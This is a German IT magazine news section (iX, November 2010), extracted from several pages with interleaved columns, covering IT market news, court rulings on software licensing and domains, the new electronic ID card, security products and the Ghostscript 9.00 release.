Ende 2012 ihren bisherigen Arbeitsplatz wechseln müssen. Betroffen sind die IT- Mitarbeiter, die in 58 Büros mit weniger als zehn Beschäftigten oder Einzelarbeitsplätzen sowie 33 Außenstellen mit durchschnittlich 34 Beschäftigten arbeiten. Die Kosten für den Umbau gehen in die Millionen. So sind im IT-Geschäftsbereich allein 10 Mio. Euro für Weiterbildung eingeplant, um wie es offiziell heißt die Mitarbeiter für werthaltige, konzeptionellstrategische IT-Aufgaben zu qualifizieren. Achim Born GPL auch in USA wirksam Zum ersten Mal hatte sich ein US-amerikanisches Gericht mit der Verletzung einer Open- Source-Lizenz, der GNU General Public License (GPL), auseinanderzusetzen. Im konkreten Fall vor einem New Yorker Bezirksgericht ging es um den Einsatz von GPL-Software in Fernsehgeräten. Das Gericht verurteilte die Gerätehersteller antragsgemäß wegen Verletzung der GPL-Bestimmungen zur Unterlassung und zum Schadenersatz. Damit bestätigte erstmals ein US-Gericht die Wirksamkeit der GPL unter US-Recht. Bislang endeten alle Verletzungsverfahren mit einem Vergleich. Insbesondere Hersteller von Produkten, denen solche Verletzungen vorgeworfen wurden, scheuten entsprechende Gerichtsverfahren, um keine Präzedenzfälle zu schaffen. Damit dürfte die GPL grundsätzlich auch in den USA durchsetzbar sein. Zu den weitaus schwierigeren Detailfragen Online-Marketing nimmt wieder zu im Zusammenhang mit der GPL hat das Gericht keine Stellung genommen. So bleibt auch in den USA ungeklärt, wie weit der Begriff des abgeleiteten Werks auszulegen ist. Hierbei geht es um die komplexe Rechtsfrage, wann ein GPL-lizenziertes Softwaremodul, das mit anderen Modulen zu einem Bundle zusammengefasst ist, dazu führt, dass die übrigen Module ebenfalls unter der GPL zu lizenzieren sind. Nach Auffassung der Free Software Foundation ( org) kommt es hierbei stets auf den konkreten Einzelfall an. Insbesondere wenn mehrere Softwaremodule in einer komplexen und intimen Art und Weise zusammenarbeiten, soll das der Fall sein. Auf eine gerichtliche Präzisierung der Reichweite dieser Kriterien muss man in den USA wie hierzulande aber wohl noch warten. Tobias Haar Der deutsche Online-Werbemarkt wird 2010 um 19ˇ% auf über 5ˇMilliarden Euro wachsen. Davon geht die neue Bruttoprognose des Online-Vermarkterkreis (OVK, de) im Bundesverband Digitale Wirtschaft (BVDW) e.ˇv. aus. Vor allem der Sektor der klassischen Online-Display-Wer bung wachse derzeit deutlich. Hier sieht der OVK eine Brutto - zunahme von 23ˇ% auf 2,9 Mrd.ˇe für Im Bereich des Suchwortmarketings soll das Wachstum bei 15ˇ% liegen, was einer Steigerung auf 1,9 Mrd.ˇe entspräche. Achim Born Breitband-Netzausbau unvollständig Bis Ende 2010 wollte die Bundesregierung die flächendeckende Versorgung mit leistungsfähigen Breitbandanschlüssen erreichen. Anfang Oktober musste Wirtschafts - minister Rainer Brüderle allerdings einräumen, dass dieses Ziel nicht erreicht wird. Immerhin soll bis Ende des Jahres für 98,5ˇ% der Haushalte Augmented Reality statt Handbuch Der IT-Dienstleister Hönigsberg & Düvel Datentechnik ( stellte auf der Internationalen Zuliefererbörse (IZB) in Wolfsburg sein AR- Framework für Smartphones vor. Damit ist die Entwicklung von Anwendungen möglich, ein Anschluss mit mindestens 1ˇMBit/s verfügbar sein. Wenn die Mobilfunknetzbetreiber wie zugesagt zügig mit dem Ausbau der LTE-Mobilfunknetze beginnen, hofft der Minister, doch noch eine Vollversorgung zu schaffen. Bis 2014 sollen 75ˇ% der Haushalte mit 50 MBit/s angebunden sein. Achim Born die über Kamera und Bilderkennung die Dokumentation der Bauteile aufruft, die gerade im Bild zu sehen sind. Demonstriert wurde ein Prototyp auf dem iphone, die Wolfsburger wollen aber auch andere Plattformen bedienen. KURZ NOTIERT PLM für den Mittelstand: Auf der IZB Wolfsburg zeigte Dassault Systèmes ( V6 PLM Express, eine Software, die das Product Lifecycle Management des Catia-Anbieters auch für den Mittelstand attraktiv machen soll. Forensik-Leitfaden: Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat Version 1.0 seines Leitfadens Forensik her - ausgegeben. Das rund 350- seitige kostenlose PDF-Dokument behandelt die gängigsten Betriebs- und Dateisysteme sowie Anwendungen. Es richtet sich mit zahlreichen Fallbeispielen an Administratoren, Sicherheitsverantwortliche und Strafverfolgungsbehörden. Gewachsen: Acer konnte den Umsatz des ersten Halbjahres 2010 um 31ˇ% auf umgerechnet 9,7 Mrd. US- Dollar steigern. Das Betriebsergebnis des taiwanischen Konzerns lag mit 264 Mio. US-$ sogar um 52ˇ% über dem Wert des Vorjahreszeitraums. Nach Steuern blieben mit 214 Mio. US-$ knapp 60ˇ% mehr in der Kasse übrig ix 11/2010

13

14 MARKT + TRENDS Recht Apple reagiert auf EU-Anforderungen Jüngst ließ Apple die Absicht verlauten, Beschränkungen bei der Nutzung von Entwicklungswerkzeugen für die Apps zu lockern. Solange die entwickelten Apps mit diesen Tools keinen Code herunterladen, will Apple nun entsprechende Beschränkungen aufheben. Zudem hat das Unternehmen angekündigt, den Freigabeprozess für Apps vor Aufnahme in Neuer Personalausweis der Staat haftet nicht Am 1.ˇNovember 2010 beginnt die Ausgabe der neuen, elektronischen Personalausweise kurz npa im Scheckkartenformat. Im Vergleich zum alten Personalausweis ist er mit einem elektronischen Chip ausgestattet, der auf Wunsch des Eigentümers dessen Fingerabdrücke enthalten kann (im Reisepass dagegen sind die Fingerabdrücke obligatorisch). Der Chip soll den elektronischen Identitätsnachweis ermöglichen. Auf den Ausweis kann der Eigentümer auch eine qualifizierte elektronische Signatur nachladen, die nach dem Signaturgesetz im Rechtsverkehr als verbindlich angesehen wird. Damit erfüllt der Ausweis drei Funktionen: Es handelt sich um ein biometriegestütztes, elektronisches Personaldokument (hoheitliche Funktion), er ist Träger eines elektronischen Identitätsnachweises (elektronische Identität) und er ist Träger einer optionalen qualifizierten elektronischen Signatur zur Nutzung in den Bereichen E-Government und E-Business. Die Verwaltungen planen, an die Bürger etwa eine Million einfacher Lesegeräte auszugeben, die eine Nutzung der elektronischen Identität im Internet ermöglichen. Da sie jedoch nicht über eine eigene Tastatur verfügen, ist das Mitloggen der einzugebenden PIN mit einem Keylogger ohne großen Aufwand möglich. Dies hat jüngst der Chaos Computer Club nachgewiesen. Mittels Spyware ist zudem das Erschnüffeln der Identität des einzelnen Bürgers möglich. Dies wirft die Frage nach der Haftung auf, wenn mit dem npa Missbrauch getrieben wird. Klar scheint zu sein, dass den App Store transparenter zu gestalten, und entsprechende Richtlinien veröffentlicht. Außerdem versprach das Unternehmen, den Garantie- und Kundenservice in der EU auszubauen. Diese Zugeständnisse haben dazu geführt, dass die EU-Kommission die Ermittlungen gegen Apple wegen wettbewerbswidrigen Verhaltens eingestellt hat. der Staat für solche Fälle nicht haftet. Es bleibt bei den allgemeinen Haftungsgrundsätzen. ( ) Der Staat kann nicht für Fehler im privaten Rechts - verkehr haften, sagte hierzu Bundesinnenminister Thomas de Maizière. Das führt letztlich aber dazu, dass der Bürger bei Identitätsdiebstahl auf dem Schaden sitzen bleiben kann. Wenn ihm Ausweis und PIN abhandenkommen, hat er unter Umständen Pech gehabt. Beim Missbrauch von Kreditkarten und EC-Karten hat es Jahre gedauert, bis Rechtsprechung und Banken Regelungen eingeführt haben, die die Haftung zwischen Kartenbesitzer und Kreditinstitut aufteilen. In vielen Fällen gelten zudem Kulanzregelungen. Ob diese Grundsätze ohne Weiteres auf den npa übertragen werden, ist fraglich. Gesetzliche Regelungen gibt es derzeit nicht. Auch hier werden also Gerichte entscheiden müssen was noch einige Zeit dauern dürfte. Fakt bleibt, dass Benutzer künftig ihren npa mindestens ebenso sorgfältig verwahren sollten wie Bank - karten und dergleichen. Zum Schutz vor Spy- und anderer Malware sollten sie auf dem zu elektronischen Geschäften genutzten PC mindestens eine stets aktuelle Virensoftware installiert haben. Denkbar ist, dass beispielsweise Händler, die Vertragsabschlüsse mit dem npa ermöglichen, eine Aufklärungspflicht haben, auf diese Gefahren hinzuweisen. Unterlassen sie dies, könnten sie für einen Schaden einstehen müssen. Das Risiko und die Nachweispflicht tragen aber zunächst die einzelnen Bürger. Alle Meldungen auf dieser Doppelseite: Tobias Haar BGH erkennt auf Domain-Übertragung Verletzt jemand mit seiner Domain die Rechte eines anderen, will dieser in der Regel die Domain übertragen bekommen. Deutsche Gerichte haben sich bislang schwergetan, neben einer Verurteilung zur Löschung der Domain einen Übertragungsanspruch zuzusprechen. In der Praxis führte dies dazu, dass die Rechteinhaber stets gut beraten waren, zunächst einen Dispute-Eintrag zu stellen, damit die Domain nicht wieder in falsche Hände kommt. Jetzt hat der Bundesgerichtshof (Az. I ZR 197/08) in einem Urteil auf Domainübertragung von der Beklagten auf den Kläger erkannt. Allerdings haben die Karlsruher Richter klargestellt, dass es nicht um die Verletzung von Marken- oder Namensrechten ging. Sie stützten ihre Entscheidung auf ein zwischen den Streitparteien bestehendes Treuhandverhältnis. Der Beklagte war nämlich vom Kläger beauftragt worden, die Domain für ihn zu registrieren. In einem ähnlich gelagerten Fall hat das Oberlandesgericht Naumburg (Az. 1 U 20/ 10) Schadenersatz wegen Domain-Blockade zugesprochen, weil der Verwalter einer Domain sie nicht an den Auftraggeber herausgegeben, sondern an Dritte übertragen hat. Dies geschah nach 826 des Bürgerlichen Gesetzbuchs wegen vorsätzlicher, sittenwidriger Schädigung. Google passt Markenrechtsrichtlinien an Im März 2010 hat der Europäische Gerichtshof (Az. C- 236/08 bis C-238/08) entschieden, dass der Verkauf von markenrechtlich für Dritte geschützten Schlüsselwörtern im Google-Dienst AdWords nicht das Markenrecht verletzt. Der Werbende selbst verletzt unter Umständen die Markenrechte des Inhabers, nicht aber Google. Konsequenterweise hat das Unternehmen jetzt die bisherige Sperrmöglichkeit bei Google- Ad für Markeninhaber eingestellt. Nur, wenn im Anzeigentext selbst die geschützte Marke rechtswidrig verwendet und der Nutzer in die Irre geführt wird, kann nach dem EuGH der Werbende rechtlich zur Rechenschaft gezogen werden. Die gerichtlichen Auseinandersetzungen dürften aber weitergehen, denn im Detail sind noch viele Fragen offen, wie der Fall des Oberlandesgerichts Köln (Az. 6 U 48/10) zeigt. Nach Meinung der Richter liegt ein Wettbewerbsverstoß vor, wenn jemand eine AdWord-Beschwerde bei Google einreicht, ohne dass dafür ein sachlicher Grund vorliegt. Erforderlich ist, dass erhebliche Nachteile und eine intensive Beeinträchtigung der wirtschaftlichen Tätigkeit vorliegen. Schadenersatz für Software auf PC Dem Landgericht Köln (Az. 28 O 77/06) lag ein typischer Fall zur Entscheidung vor. Im Rahmen der Verwertung eines insolventen Unternehmens veräußerte der Insolvenzverwalter auch dessen PCs. Auf diesen befand sich Software mit einer Nutzungslizenz für fünf Jahre. Der Käufer nutzte die PCs mit der installierten Software weiter. Der Softwarehersteller verklagte jetzt den Insolvenzverwalter wegen Urheberrechtsverletzung und erhielt von den Richtern Schadenersatz zugesprochen. Weil die insolvente Firma die Software ursprünglich nicht gekauft, sondern nur gemietet hatte, hatte diese kein Recht erhalten, die Nutzungsrechte weiterzugeben. Das erfolgte aber mit der Veräußerung im Rahmen der Insolvenz. Da der Insolvenzverwalter ein gewerblicher Verwerter ist, muss er sich über das Bestehen ausreichender Lizenzrechte zur Weitergabe bei Veräußerung der PCs informieren und diese beachten. Wegen der schuldhaften Unterlassung wurde er zum Schadenersatz verurteilt und muss nun Lizenzgebühren in sechsstelliger Höhe an die Klägerin zahlen. 14 ix 11/2010

15 Neue Rechtsprechung zu Gebrauchtsoftware und Volumenlizenzverträgen Das Oberlandesgericht Frankfurt am Main (Az. 11 U 13/10) hat sich in einem aktuellen Urteil mit Bestimmungen zur Weitergabe von Software auseinandergesetzt. Wenn in einem Volumenlizenzvertrag geregelt ist, dass die gewährten Nutzungsrechte nicht über - tragbar sind, ist das wirksam. Ebenso wirksam ist, wenn ein möglicher Zweiterwerber der Software die vertraglichen Bedingungen aus dem Volumenlizenzvertrag übernehmen muss. Außerdem ist die Regelung, dass Software-Programme nur an Endbenutzer weitergegeben und nur zu diesem Zweck Kopien erstellt werden dürfen, rechtlich nicht zu beanstanden. Diese Entscheidung hat zur Folge, dass jede Weitergabe unter Verletzung des Volumenlizenzvertrages nichtig ist. Der Erwerber erwirbt somit keine Nutzungsrechte und kann auf Unterlassung in Anspruch genommen werden. Ebenso besteht ein Unterlassungsanspruch gegen den, der selbst erstellte Lizenzurkunden veräußert, wenn das im Volumenlizenzvertrag nicht ausdrücklich gestattet ist. Damit haben die Verkäufer von Gebrauchtsoftware eine weitere juristische Schlappe einstecken müssen. Preise müssen aktuell sein Der Bundesgerichtshof (Az. I ZR 123/08) stellt hohe Anforderungen an die Aktualität von Angaben in Preissuchmaschinen. Weil ein Anbieter von Kaffeemaschinen noch drei Stunden, nachdem er den Preis für ein bestimmtes Produkt heraufgesetzt hatte, zum alten, niedrigeren Preis weiter vorne in der Trefferliste der Suchmaschine stand, verurteilten ihn die Karlsruher Richter. Zur Begründung führten sie aus, dass ein Nutzer irregeführt wird, weil er davon ausgehen darf, dass er das dort beworbene Produkt zu dem angegebenen Preis erwerben kann. Der Hinweis Alle Angaben ohne Gewähr hilft nicht. Ärgerlich für Anbieter ist, dass sie die Verantwortung dafür übernehmen müssen, wann der Suchmaschinenbetreiber die Preisangabe auf seinen Seiten ändert. Theoretisch müsste der Anbieter künftig mit dieser Preisänderung warten, bis die Suchmaschine aktualisiert ist, um sich nicht Unterlassungs- und Schadenersatzansprüchen ausgesetzt zu sehen. Löschen reicht Das Landgericht München (Az. 13 S 15605/09) hat die Verantwortlichkeiten von Suchmaschinenbetreibern wie Google weiter präzisiert. Diese kommen ihren gesetzlichen Löschungspflichten in ausreichen dem Umfang nach, wenn sie nach einem Hinweis auf rechtswidrige Inhalte die entsprechenden Suchtreffer löschen. Ein Anspruch auf Erstattung der Abmahnkosten für anwaltlichen Beistand oder gar Schadenersatz gegen Googleˇ& Co. besteht in solchen Fällen nicht, betonten die Münchner Richter. ix 11/

16 MARKT + TRENDS Webservices Cloud-Portal Arcade von Progress Software Einen eigenen Zugang zum Cloud Computing will das USamerikanische Unternehmen Progress Software schaffen. Über das neue Portal Arcade sollen Kunden Ressourcen auf Grundlage der SaaS-Plattform OpenEdge (siehe S. 36) nutzen können. Geplant ist außerdem, dass unabhängige Softwarehersteller (ISVs) und Entwicklungsabteilungen in Unternehmen über Arcade andere Produkte von Progress Software erproben dürfen. Des Weiteren will der Betreiber über das Portal Schulungsmaterial, technische Dokumente, Erfahrungsberichte sowie Anleitungen für seine Produkte bereitstellen. Ab Ende Oktober 2010 soll Arcade auf Amazons EC2 zur Verfügung stehen. Radwares VADI fürs Virtuelle Eine neue Strategie nennt Radware ( seine Virtual Application Delivery Infrastructure (VADI). Sie soll Betreibern von Rechenzentren helfen, bei der Umstellung auf ein hybrides Konzept oder der vollständigen Virtualisierung Schwierigkeiten zu vermeiden. Das Verfahren hebt den herkömmlichen Applica - tion Delivery Controler (ADC) auf eine virtuelle und damit bewegliche Ebene zum Bereitstellen und Verwalten von Anwendungen (vadc). VADI setzt sich aus ADC- Komponenten zusammen: virtuellen Instanzen, Computerressourcen für die vadc, pro Quelle: Radware physischem Gerät ein dedizierter ADC, dem branchenweiten Hypervisor ADC-VX sowie Soft-ADC als virtuelle Instanz. Als Erstes will Radware ADC- VX herausbringen, die übrigen Komponenten sollen binnen eines Jahres folgen. Citrix kündigt neue Version XenDesktopˇ5 an Seine internationale Konferenz Synergy, die Anfang Oktober 2010 in Berlin und damit erstmals in Deutschland stattfand, nahm Citrix zum Anlass, eine Serie geplanter Neuerungen vorzustellen. Hauptsächlich ging es um die Ankün - digung des XenDesktopˇ5, um den sich eine Reihe weiterer Produkte ranken. Neben der immer wieder gern gesehenen Verbesserung der Performance und Vereinfachung das Installationsverfahrens verspricht VMware die Unterstützung neuer Geräte und Anwendungen. Im ersten Fall ist dem Trend gehorchend vor allem von Touchscreens und Mobiles wie Apples ipad oder RIMs Black- Berry PlayBook die Rede. Bei den Applications sollen sich externe Dienste aus der Cloud nahtlos per Single Sign-on nutzen lassen. Außerdem sollen die im Projekt Nitro entwickelten Verfahren ins haus - eigenen Übertragungsprotokoll HDX (High-Definition User EXperience) eingeflossen sein. Mit der Versionˇ5 des Xen- Desktop will VMware zusätzlich die Option anbieten, virtuelle Desktops auch offline zu nutzen, indem die virtuelle Maschine auf dem lokalen Hypervisor XenClient läuft. Geschäftliche Anwendungen verschlüsselt die Software per XenVault automatisch und legt sie in einem speziellen Ordner ab, dessen Inhalte sich per Fernzugriff von der zentralen IT aus löschen lassen. XenDesktopˇ5 soll noch im vierten Quartal 2010 herauskommen. Die Version für VDI (Virtual Desktop Interface) will VMware für 95 US-$ pro Nutzer anbieten. KURZ NOTIERT Markttage: Parallels will sein Portal Partner Storefront in Plesk Panel 10 integrieren. Damit können Service-Provider den ehemals unter Partner Marketplace bekannten Zugang zu über 100 Applikationen zentral verwalten und bereitstellen ( ducts/plesk/storefront). Preissenkung: Für seinen RDS (Relational Database Service) bietet Amazon Read Replicas, mit denen Nutzer Replikationen ihrer DB zur Lastverteilung anlegen können. Außerdem hat RDS die Preise für große Gebinde gesenkt (aws.amazon.com/ de/rds/). Beatle-Fans: McCartney Productions Limited (MPL) und HP wollen die gesamte Musik-Bibliothek von Paul McCartney digitalisieren und per Private Cloud anbieten ( ix 11/2010

17

18 MARKT + TRENDS Sicherheit Firmen betrachten Web 2.0 noch skeptisch Seit Kurzem ist das ix Special 3/2010 mit Sicherheitsthemen im Handel. Sicher im Netz ist 160 Seiten stark und enthält eine bootbare DVD mit verschiedenen Werkzeugen. Ein Highlight darauf ist das eigens für die ix erstellte VMware-Image der Log-Daten-Management- Soft ware OSSIM von Alien- Vault. Sie ermöglicht die zentrale Sammlung und Auswertung der Log-Daten aus den verschiedenen Systemen in Unternehmens - netzen. Das Heft behandelt aktuelle Sicherheitsprobleme, Strategien Neues ix Special Sicher im Netz Eine von McAfee in Auftrag gegebene internationale Studie zur Nutzung von Web-2.0- Tools für Firmenzwecke zeichnet ein zwiespältiges Bild: Unternehmer erkennen zwar das Potenzial des Social Web im Bereich Marketing und für die Erschließung neuer Umsatzquellen. Gleichzeitig sind sie sich aber noch im Unklaren, ob und wie sie ihren Mitarbeitern am Arbeitsplatz Zugang zu den entsprechenden Anwendungen gewähren sollen. Als die vier wichtigsten Gefahren der Web-2.0-Nut - zung durch die Mitarbeiter nannten die Befragten: Einschleppen von Malware (35 Prozent), Virenbefall (15 Prozent), Kontrollverlust über Informationen (11 Prozent) und Einschleppen von Spyware (10 Prozent). Die Sicherheitsfachleute des Center for Education and Research in Information Assurance and Security (CERIAS) an der Purdue University, die die Studie durchgeführt hatten, empfehlen in erster Linie, Richtlinien für die Nutzung der sozialen Medien einzuführen. Zwei Drittel der befragten Unternehmen haben entsprechende Vorschriften erlassen, wovon die Mehrzahl (71 Prozent) deren Einhaltung mit technischer Hilfe überwacht. Dar - über hin aus bedarf es aber auch mehrstufiger Sicherheitslösungen für Verschlüsselung, Authentifizierung, Integritäts- Monitoring und Whitelisting sowie Anti-Malwaresystemen an den Gateways. Zudem ergab die Studie überraschenderweise, dass Deutschland bei der Nutzung von Web-2.0- Tools Rang 12 unter den 17 Ländern einnimmt, die an der Befragung teilgenommen haben und zwar vor den USA, Großbritannien und Kanada. Susanne Franke und Lösungsansätze unter anderem aus den Bereichen Web - applikationssicherheit, Client- Sicherheit, sichere Softwareentwicklung, Identity Management und Sicherheitsmanagement. Im Bereich Informationsschutz verursacht vor allem der ihype neue Probleme. Des Anwenders liebstes Kind, das iphone und neuerdings das ipad, kann jede noch so ausgeklügelte Sicherheitsstrategie eines Unternehmens gefährden insbesondere, wenn die Geräte privat und beruflich gleichermaßen genutzt werden. Sogenannte Jailbreaks hebeln Sicherheitsmechanismen aus, Apps, die Daten an fremde Server oder unbefugte Dritte versenden, tun ein Übriges. Neue Sicherheitskonzepte für Unternehmen sind gefragt. Weitere Artikel beleuchten Probleme des Cloud Computing, den Nutzen forensischer Methoden bei Windowsˇ7 sowie neue Werkzeuge und Strategien im Kampf gegen die Cyberkriminellen. Sicher im Netz ist für 12,90 E im Zeitschriftenhandel erhältlich oder portofrei unter www. heise.de/kiosk/special/default. shtml zu bestellen. Neue UTM-Appliance von NETGEAR Mit der ProSecure UTM50 zielt NETGEAR auf die Anforderungen von Unternehmen mit bis zu 100 Mitarbeitern. Die Appliance verfügt wie die anderen Sicherheitslösungen dieser Familie über die Funktionen Firewall, SSL und IPSec VPN, URL Filtering, Anti-Virus und Anti-Spam auf Netzwerkebene, lässt sich aber außerdem in Microsoft-Active-Directory-Um - gebungen integrieren und sorgt Log-Daten von überall analysieren Mit der Versionˇ5 von Log - Logic stellt der gleichnamige Spezialist für Security Information und Event Management (SIEM) das Universal Collection Framework (UCF) für den verschlüsselten, komprimierten IT-Datentransport vor. Damit soll es möglich sein, Log-Daten überall von nahezu jedem Gerät und System bei geringer Netzwerkbelastung für Auswertungen zu sammeln. Das Produkt legt die Daten in einem zentralen Data Warehouse ab und strukturiert sowie klassifiziert sie mithilfe der Taxonomy-Technik Log Labels. Laut Anbieter kann die Datenbeschreibungstechnik Texte strukturieren und Anwendungen für den epersonalausweis für die Einhaltung von Sicherheitsrichtlinien bei einzelnen Anmeldeverfahren. In einem aktuellen Test der Tolly Group in Zusammenarbeit mit AV-Test fiel ProSecure laut Anbieter besonders durch die effiziente Abwehr von Zoo-Malware auf. Zoo-Malware sind Schadprogramme, die nur eine geringe Verbreitung haben, aber häufig in neue Formen mutieren. Susanne Franke gleichzeitig die Feinheiten von Log- oder Flow-Daten herausstellen. Sollte LogLogic Netzwerkdaten von speziellen oder älteren proprietären Anwendungen nicht automatisch erkennen, kann der Anwender sie über eine Drag&Drop-Oberfläche integrieren. Mit einer aktualisierten Management-Benutzeroberfläche können Benutzer Analysen, den Abgleich mit Compliance-Richtlinien sowie Forensik-Untersuchungen oder Netzwerk-Optimierungsmaßnahmen durchführen und Alarm auslösen. Im Oktober gab Log- Logic außerdem eine virtuelle SIEM-Appliance heraus. Susanne Franke Viele Veranstaltungen beschäftigen sich derzeit mit dem ab 1.ˇNovember erhältlichen neuen elektronischen Personalausweis, so auch die diesjährige D-A-CH Security, die Ende September in Wien stattfand. Ein Schwerpunkt waren Anwendungen für die eid-funktionen des neuen Personalausweises (npa). Das Institut für Internetsicherheit stellte die Idee vor, den npa über einen Proxy für Single-Sign-on per OpenID zu nutzen. Die anschließende Diskussion zeigte jedoch, dass dies nur für Authentifizierungen mit relativ geringen Anforderungen sinnvoll ist. Denn der OpenID-Provider hat keine Möglichkeit festzustellen, ob der Anwender nur einen trojaneranfälligen Basis-Kartenleser einsetzt. Ein anderes Anwendungsbeispiel für den npa stellte die Duale Hochschule Baden- Württemberg Mannheim vor. Dort erprobte man die Passwortrücksetzung, ohne dass die Studenten sich vorher hierfür registrieren mussten. Sie werden per npa und zusätzlich der -Adresse ausreichend authentifiziert. Die Praxiserprobung hierzu scheiterte allerdings, da für den Test nur npas für Mustermann zur Verfügung standen. Hartmut Goebel 18 ix 11/2010

19 MARKT + TRENDS Open Source Ghostscript 9.00 mit ICC-Farbprofilen Geister, die neunte Kurt Pfeifle Mit GhostPDL besser und auch weiterhin bekannt als Ghostscript in der Version 9.00 eröffnen die Entwickler des Herstellers Artifex eine neue Haupt - versions-linie ihrer Konverter- und Interpreter-Suite für alle wichtigen Dokumenten- und (Drucker-)Seiten - beschreibungs-sprachen. Zentrale Neuerungen der Version 9.00 sind die Integration des bewährten Font- Renderers FreeType, der insbesondere bei der Darstellung von TrueType-Schriftarten helfen soll. Darüber hinaus verfügt Ghostscript erstmals über die komplette Unterstützung für Farbmanagement nach den Standards des ICC (International Color Consortium) durch den Einbau von Little CMS. Von der erfolgten Umstellung auf Multi-Threading profitiert vor allem die ICC-Bearbeitung, dem PDF-Interpreter kommt die Erweiterung auf zwei unterschiedliche Farbräume für die fill- und stroke-operatoren zugute. Darüber hin aus kann er jetzt mit unterschiedlichen Darstellungsschichten ( Optional Content in PDF- Lingo) umgehen. Standardmäßig mit Font-Rendering FreeType-Support ist bereits seit Längerem mit Ghostscript nutzbar allerdings war er nicht per Default aktiviert. Jetzt arbeitet er sogar mit eingeschaltetem TrueType-Bytecode-Interpreter. Der dient zur Berücksichtigung eingebauter Font-Hintings. Seine Verwendung ist jetzt unkritisch, seitdem im Mai diesen Jahres die diesbezügliche Apple-Patente zweifelsfrei ausgelaufen sind. Wenn man beim (Selbst-) Kompilieren aus dem Quell - code den entsprechenden Schalter nicht bewusst aktivierte (wie es beispielsweise Ubuntu macht) kam bisher ein Ghost - script-eigener Font-Renderer zum Zug. Dieser ist nur noch für Type3-Schriftarten zuständig; alle anderen (TrueType, Type1, Type42, CID, CFF, Double-Byte, OpenType und Intellifont) übernimmt jetzt FreeType. Wer es vorzieht, kann nach wie vor das alte Font-Rendering bekommen man muss sich sein Ghost - script allerdings selbst aus den Quellen bauen. Dieselbe Methode ermöglicht die Nutzung von Font-Rendering durch Drittanbieter-Komponenten (etwa durch Monotypes Universal Font Scaling Technology, UFST). Die integrierte Unterstützung für ICC-Farbprofile kann man mit Fug und Recht als quasi vollständig bezeichnen: Es kann mit allen Farbräumen umgehen, die PostScript Level 3 und in PDF 1.7 definieren, inklusive der in Version 4 definierten ICC-Vorgaben. Ghost - script setzt den Standard ICC.1: (Version ) um. Dazu gehören Grau-, RGB- und CMYK-Profile bei den Quelldaten, sowie CMYK-, RGB-, DeviceN-, Proofing- und Spot- Color-Profile bei der Ausgabe. Zur Abarbeitung dieser komplexen Schritte dient Ghost - script Marti Marias jetzt nahtlos integriertes LittleCMS. Allerdings lassen sich mit ein wenig Handarbeit Color-Management- Mo dule von Drittanbietern anbinden. Ghostscript baut per Default die Standard-ICC-Pro - file beim Kompilieren direkt in seine Binaries ein; auf der Kommandozeile kann man diese Vorgaben jedoch jederzeit ändern, sofern man eigene ICC- Dateien bereitstellt. Verborgene Schätze GhostPDL enthält vier Komponenten: Neben dem traditionellen Ghostscript (Verarbeitung von PostScript- und PDF-Input) sind dies GhostXPS (für Microsofts PDF-Konkurrenten XPS), GhostPCL (PCL5 und PCL/XL) sowie GhostSVG (SVG). Alle vier Interpreter können in ihrem Ausgabekanal die High-Level-Formate Post- Script, PDF und PCL erzeugen, ebenso wie verschiedene Varianten der gebräuchlichen Bitmap-Grafikformate JPEG, PNG, TIFF, PPM und BMP. Von den Anwendern bislang kaum wahrgenommen wur den GhostPCL, GhostSVG sowie GhostXPS: Artifex hatte deren Quellcode-Baum jahrelang säuberlich getrennt von Ghost - script unterhalten (obwohl sie wichtige Komponenten mit Ghostscript teilen). Nach Freigabe der Releases hinterlegte Artifex jeweils nur Sourcecode- Tarballs in einem eher versteckten FTP-Verzeichnis. Auch in der Open-Source-Community waren diese Schätzchen bis dato so gut wie unbekannt: Kaum eine Linux-Distribution bot Binär-Pakete davon an. Allerdings haben diverse Drucker-Hersteller diese Interpreter lizenziert und in ihre Geräte eingebaut. Seit letztem Jahr pflegt Artifex die Quellcodes aller vier Interpreter unter einer einheitlichen Versions- und Release-Nummer. Die neue Ghostscript-Release läuft auf Windows, Mac OSˇX, Linux, Unix sowie diversen Embedded-Plattformen. Für Nutzer und Entwickler von freier und Open-Source- Software gilt die GPL in der Versionˇ3; für kommerziellproprietäre Projekte gibt es bei Artifex eine Bezahl-Lizenz (ACL). Vor einigen Jahren noch hätten sich GPL-Nutzer rund ein Jahr bis zur nächsten Release gedulden müssen, ehe ihnen neu entwickelte Ghost - script-features zugute gekommen wären. Seit 2006 (v.8.54) sind ACL- und GPL-Versionen zeitsynchron. (avr) ix 11/

20 MARKT + TRENDS Mobiles Digis ConnectPort X3 Ein programmierbares Mobilfunk-Gateway für die Fernüberwachung von Geräten und die Nachverfolgung von Gütern hat Digi International vorgestellt. Der ConnectPort X3 bietet eine Reihe von Schnittstellen wie ZigBee, einen seriellen RS-232-Anschluss, analoge und digitale Ein- und -Ausgänge sowie GPS (Global Positioning System). Admins können das Gerät mit der idigi-plattform verbinden lassen, über die sich installierte Geräte per Webdienst aus der Ferne verwalten lassen. Deren Daten in Back-End- Systemen oder M2M-Anwendungen integrierbar sind. Mit dem optionalen ZigBee- Modul XBee kann das Gateway eine Verbindung zu drahtlosen Geräten oder Sensoren in einem ZigBee-Netz herstellen. Die dort gesammelten Daten kann das Gerät über ein Mobilfunknetz übermitteln. Für das Nachverfolgen von Gütern steht optional ein internes GPS-Modul zur Verfügung. Außerdem gibt es für den ConnectPort X3 die auf Eclipse aufsetzende Entwicklungsumgebung Digi ESP, mit der Experten die Geräte verwalten und in IT-Infrastrukturen integrieren können. Der ConnectPort X3 ist zum Einstiegspreis von 230 e erhältlich ( BlackBerry-App von Sybase und SAP KURZ NOTIERT Kundenfang: Analysten der Yankee Group zufolge befürworten mehr als 70ˇ% der befragten Geschäftsleute mobile Anwendungen zur Kundenbetreuung. Damit ist die Akzeptanz höher als bei traditionellen CRM-Angeboten. Malstunde: Mit Corels it Show aus dem itunes-store von Apple können Anwender auf dem ipad ihre Fotos wie Gemälde präsentieren. Die App wandelt Fotos aus der eigenen Sammlung um, kann sie in einer Diashow darstellen und per versenden. Für BlackBerry-Smartphones von RIM haben Sybase und SAP eine Anwendung entwickelt, die mehr sein soll als eine einfache App. Die Super App Mobile Sales for SAP CRM soll Mitarbeitern aus Vertrieb, Kundendienst und Marketing die Arbeit erleichtern. Das Produkt bietet Zugriff auf die aktuellen Daten der per SAP erstellten Kunden- und Geschäftsanalysen sowie die Möglichkeit, unterwegs Aufgaben zu erledigen. Zu den Erweiterungen zählen das Übermitteln von Warnmeldungen per BlackBerrys Push-Technik sowie das Zusammenspiel der Super App mit Inbox- und Kalenderfunktionen. Die Mobile- Sales-Anwendung SAP CRM für 